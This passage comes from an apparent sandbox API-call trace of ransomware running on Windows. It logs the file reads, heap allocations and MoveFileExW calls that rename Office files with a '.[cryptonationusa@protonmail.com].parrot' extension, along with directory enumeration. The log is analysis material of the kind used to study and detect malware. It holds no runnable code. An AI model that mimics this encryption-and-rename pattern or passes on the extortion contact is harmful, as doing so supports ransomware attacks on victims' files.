dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.810] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.810] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.974] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.974] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0167.974] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.976] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.976] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.976] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.983] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.983] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.987] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.987] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x860, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x860, lpOverlapped=0x0) returned 1 [0167.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.989] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.989] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0167.996] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.996] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0167.998] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.998] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0167.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0167.998] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0167.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0167.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.004] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.004] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.006] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.006] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x35be, lpOverlapped=0x0) returned 1 [0168.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.008] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.014] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.014] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.227] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.227] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36fb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x36fb, lpOverlapped=0x0) returned 1 [0168.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.278] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.279] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.285] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.285] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.286] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.287] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17b5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17b5, lpOverlapped=0x0) returned 1 [0168.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.287] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.288] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.293] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0168.296] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0168.297] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.297] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0168.297] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0168.297] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0168.297] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c8068 [0168.297] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.297] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0168.298] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.298] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbe, lpOverlapped=0x0) returned 1 [0168.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.299] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.306] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0168.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.307] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc4, lpOverlapped=0x0) returned 1 [0168.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.308] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.313] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0168.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.314] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x46, lpOverlapped=0x0) returned 1 [0168.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\DESKTOP.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\desktop.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\DESKTOP.INI.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\desktop.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.358] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.358] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0168.360] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.361] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1266, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1266, lpOverlapped=0x0) returned 1 [0168.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.363] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.370] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0168.370] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf0608ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf0608ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.371] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf0570620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="_CONNE~1.PAR")) returned 1 [0168.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.373] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.373] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.374] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.374] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcf98, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcf98, lpOverlapped=0x0) returned 1 [0168.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.381] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.390] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.391] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.392] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.392] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x76000, lpOverlapped=0x0) returned 1 [0168.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.412] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.493] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.493] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.503] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.503] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28178, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28178, lpOverlapped=0x0) returned 1 [0168.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.510] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), lpNewFileName="C:\\Program Files\\Microsoft 